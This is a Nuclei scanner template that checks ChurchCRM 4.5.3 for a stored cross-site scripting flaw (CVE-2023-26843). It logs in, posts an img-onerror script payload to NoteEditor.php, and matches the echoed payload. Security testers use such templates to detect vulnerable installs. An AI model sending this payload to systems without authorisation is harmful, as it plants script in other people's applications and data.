nuclei-templates/http/cves/2023/CVE-2023-26843.yaml

id: CVE-2023-26843

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the NoteEditor.php.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26843
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26843
    - https://github.com/ChurchCRM/CRM
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-26843
    cwe-id: CWE-79
    epss-score: 0.00146
    epss-percentile: 0.50467
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve,cve2023,churchcrm,stored-xss,xss,authenticated

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /NoteEditor.php?FamilyID=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        PersonID=0&FamilyID=1&NoteID=&NoteText=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&Submit=Save

    cookie-reuse: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "><img src=x onerror=alert(document.domain)>")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

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